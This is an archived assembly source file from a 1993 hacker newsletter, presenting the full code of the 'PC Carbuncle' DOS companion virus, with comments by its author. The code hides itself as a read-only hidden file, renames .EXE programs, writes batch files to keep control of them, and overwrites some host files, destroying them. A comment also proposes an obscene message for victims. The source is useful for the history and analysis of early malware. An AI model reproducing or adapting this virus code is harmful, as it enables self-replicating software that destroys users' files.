home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / CRYPT14.ZIP / CARBUNC.ASM next >
Assembly Source File  |  1993-04-05  |  8KB  |  245 lines

  1. ;The PC CARBUNCLE VIRUS - a companion virus for Crypt Newsletter 14                
  2. ;The PC Carbuncle is a "toy" virus which will search out every .EXEfile
  3. ;in the current directory, rename it with a .CRP [for Crypt] extent and
  4. ;create a batchfile.  The batchfile calls the PC Carbuncle [which has
  5. ;copied itself to a hidden file in the directory], renames the host
  6. ;file to its NORMAL extent, executes it, hides it as a .CRP file once
  7. ;again and issues a few error messages.  The host files function
  8. ;normally. Ocassionaly, the PC Carbuncle will copy itself to a few
  9. ;of the host .CRP files, destroying them.  The majority of the host
  10. ;files in the PC Carbuncle-controlled directory will continue to function,
  11. ;in any case.  If the user discovers the .CRP and .BAT files and is smart
  12. ;enough to delete the batchfiles and rename the .CRP hosts to their
  13. ;normal .EXE extents, the .CRPfiles which have been infected by the
  14. ;virus will re-establish the infection in the directory.
  15. ;--Urnst Kouch, Crypt Newsletter 14
  16.         
  17.         .radix 16
  18.      code       segment
  19.         model  small
  20.         assume cs:code, ds:code, es:code
  21.  
  22.         org 100h
  23. begin:
  24.         jmp     vir_start
  25.         db     'ߥ.ÜΓNstådëMû$'      ; name
  26.           
  27. exit:
  28.         mov     ah, 4Ch              ; exit to DOS
  29.         int     21h
  30. vir_start:
  31.         
  32.         mov     ah,2Ch               ; DOS get system time.                      
  33.         int     21h                  ; <--alter values to suit        
  34.         cmp     dh,10                ; is seconds > 10?
  35.         jg      batch_stage          ; if so, be quiet  (jg)
  36.               ; with the virus counter, this feature arrests the  
  37.                          ; overwriting infection so 
  38.                          ; computing isn't 
  39.                          ; horribly disrupted
  40.                          ; when the virus is about
  41.         mov     al,5                 ; infect only a few files
  42.         mov     count,al             ; by establishing a counter
  43.  
  44.  
  45. start:          mov     ah,4Eh                ; <----find first file of
  46. recurse: 
  47.         mov     dx,offset crp_ext     ; matching filemask, "*.crp"
  48.         int     21h                   ; because PC CARBUNCLE has  
  49.                           ; in most cases, already created
  50.                           ; them.
  51.         jc      batch_stage           ; jump on carry to
  52.                           ; spawn if no .CRPfiles found
  53.         
  54.         
  55.         mov     ax,3D01h              ; open .CRPfile r/w  
  56.         mov     dx,009Eh                
  57.         int     21h                     
  58.     
  59.         mov     bh,40h                 ; 
  60.         mov     dx,0100h               ; starting from beginning
  61.         xchg    ax,bx                  ; put handle in ax
  62.         mov     cl,2Ah                 ; to write: PC CARBUNCLE 
  63.         int     21h                    ; write the virus
  64.         mov     ah,3Eh                 ; close the file
  65.         int     21h                     
  66.         
  67.         dec     count                  ; take one off the count
  68.         jz      exit                   ; and exit when ~3 files
  69.                            ; are overwritten with virus
  70.         mov     ah,4Fh                 ; find next file
  71.         jmp     Short recurse          ; and continue until all .CRP
  72.                            ; files converted to PC
  73.                            ; CARBUNCLE's
  74.  
  75.         ret
  76.  
  77. batch_stage:    
  78.         mov    dx,offset file_create  ; create file, name of
  79.         mov    cx,0                   ; CARBUNCL.COM
  80.         mov    ah,3ch
  81.         int    21h
  82.                         ; Write virus body to file
  83.         mov    bx,ax
  84.         mov    cx,offset last - offset begin
  85.         mov    dx,100h
  86.         mov    ah,40h
  87.         int    21h
  88.  
  89.                         ; Close file
  90.         mov    ah,3eh                    ; ASSUMES bx still has file handle
  91.         int    21h
  92.  
  93.                         ; Change attributes
  94.         mov    dx,offset file_create     ; of created file to
  95.         mov    cx,3                      ;(1) read only and (2) hidden
  96.         mov    ax,4301h
  97.         int    21h
  98.  
  99.  
  100.  
  101.                          ; get DTA
  102.         mov     ah, 1Ah                  ; where to put dta
  103.         lea     DX, [LAST+90H]
  104.         int     21h
  105.         mov     ah, 4Eh                  ; find first .EXE file
  106. small_loop:                                      ; to CARBUNCL-ize
  107.         lea     dx, [vict_ext]           ; searchmask, *.exe
  108.         int     21h
  109.         jc      exit
  110.         mov     si, offset last + 90h + 30d  ; save name
  111.         mov     di, offset orig_name
  112.         mov     cx, 12d
  113.         rep     movsb
  114.  
  115.         mov     si, offset orig_name        ; put name in bat buffer
  116.         mov     di, offset bat_name
  117.         mov     cx, 12d
  118.         rep     movsb
  119.  
  120.         cld
  121.         mov     di, offset bat_name
  122.         mov     al, '.'
  123.         mov     cx, 9d
  124.         repne   scasb
  125.         push    cx
  126.         cmp     word ptr es:[di-3],'SU'    ; useless rubbish 
  127.         jne     cont                
  128.         mov     ah, 4fh
  129.         jmp     small_loop
  130.         
  131. cont:           mov     si, offset bat_ext         ;fix bat
  132.         mov     cx, 3
  133.         rep     movsb
  134.         pop     cx
  135.         mov     si, offset blank           ;further fix bat
  136.         rep     movsb
  137.  
  138.         mov     si, offset orig_name       ; fill rename
  139.         mov     di, offset rename_name
  140.         mov     cx, 12d
  141.         rep     movsb
  142.  
  143.         mov     di, offset rename_name 
  144.         mov     al, '.'
  145.         mov     cx, 9
  146.         repne   scasb
  147.         push    cx
  148.         mov     si, offset moc_ext          ; fix rename
  149.         mov     cx, 3
  150.         rep     movsb
  151.         pop     cx
  152.         mov     si, offset blank            ; further fix rename
  153.         rep     movsb                       ; copy the string over
  154.  
  155.         mov     di, offset orig_name 
  156.         mov     al, ' '
  157.         mov     cx, 12
  158.         repne   scasb
  159.         mov     si, offset blank           ; put a few blanks
  160.         rep     movsb
  161.       
  162.         mov     si, offset orig_name      ;fill in the created batfile
  163.         mov     di, offset com1           
  164.         mov     cx, 12d
  165.         rep     movsb
  166.  
  167.         mov     si, offset orig_name      ; more fill
  168.         mov     di, offset com2
  169.         mov     cx, 12d
  170.         rep     movsb
  171.  
  172.         mov     si, offset orig_name       ; copy more fill
  173.         mov     di, offset com3
  174.         mov     cx, 12d
  175.         rep     movsb
  176.         mov     si, offset blank
  177. point_srch:     dec     di                         ; get rid of an annoying
  178.         cmp     byte ptr [di], 00          ; period 
  179.         jne     point_srch                 
  180.         rep     movsb
  181.         
  182.         mov     si, offset rename_name      ; copy more fill
  183.         mov     di, offset moc1
  184.         mov     cx, 12d
  185.         rep     movsb
  186.  
  187.         mov     si, offset rename_name      ; copy still more fill
  188.         mov     di, offset moc2
  189.         mov     cx, 12d
  190.         rep     movsb
  191.  
  192.         mov     dx, offset orig_name        ; rename original file
  193.         mov     di, offset rename_name      ; to new .CRP name
  194.         mov     ah, 56h
  195.         int     21h
  196.  
  197.         mov     dx, offset bat_name         ; create batfile
  198.         xor     cx, cx
  199.         mov     ah, 3Ch
  200.         int     21h
  201.  
  202.         mov     bx, ax
  203.         mov     cx, (offset l_bat - offset s_bat) ; length of batfile
  204.         mov     dx, offset s_bat             ; write to file
  205.         mov     ah, 40h
  206.         int     21h
  207.  
  208.         mov     ah, 3eh                      ; close batfile
  209.         int     21h
  210. next_vict:      mov     ah, 4fh                      ; find the next host
  211.         jmp     small_loop                   ; and create more
  212.                              ; "controlled" .CRPs
  213. count           db      90h           ;<---count buffer, bogus value 
  214. crp_ext         db      "*.crp",0     ;<---- searchmask for PC CARBUNCLE
  215. file_create     db      "CARBUNCL.COM",0 ;<---CARBUNCL shadow virus
  216. bat_ext         db      "BAT"
  217. Vict_ext        db      "*.exe",0   ;<----searchmask for hosts to CARBUNCL-ize
  218. moc_ext         db      "CRP"       ; new extent for CARBUNCL-ized hosts
  219. blank           db      "        "  ;blanks for filling batchfile
  220. S_bat:
  221.         db      "@ECHO OFF",0Dh,0Ah ; <--batchfile command lines
  222.         db      "CARBUNCL",0Dh,0Ah  ; call PC CARBUNCL shadow virus
  223.         db      "RENAME "
  224. moc1            db       12 dup (' '),' '
  225. com1            db       12 dup (' '),0dh,0ah
  226. com2            db       12 dup (' '),0dh,0ah
  227.         db       "RENAME "
  228. com3            db       12 dup (' '),' '
  229. moc2            db       12 dup (' '),0dh,0ah
  230.         db       "CARBUNCL",0Dh,0Ah,01Ah ;<---put dumb message here
  231. L_bat:                                         ; format "ECHO Fuck you lamer"
  232. note:           db       "PC CARBUNCLE: Crypt Newsletter 14",0
  233.  
  234. bat_name        db       12 dup (' '),0           ; on the fly workspace 
  235. rename_name     db       12 dup (' '),0
  236. orig_name       db       12 dup (' '),0
  237. Last:                                       ;<---- end of virus place-holder
  238.  
  239.  
  240. code            ends
  241.         end begin
  242.  
  243.  
  244.  
  245.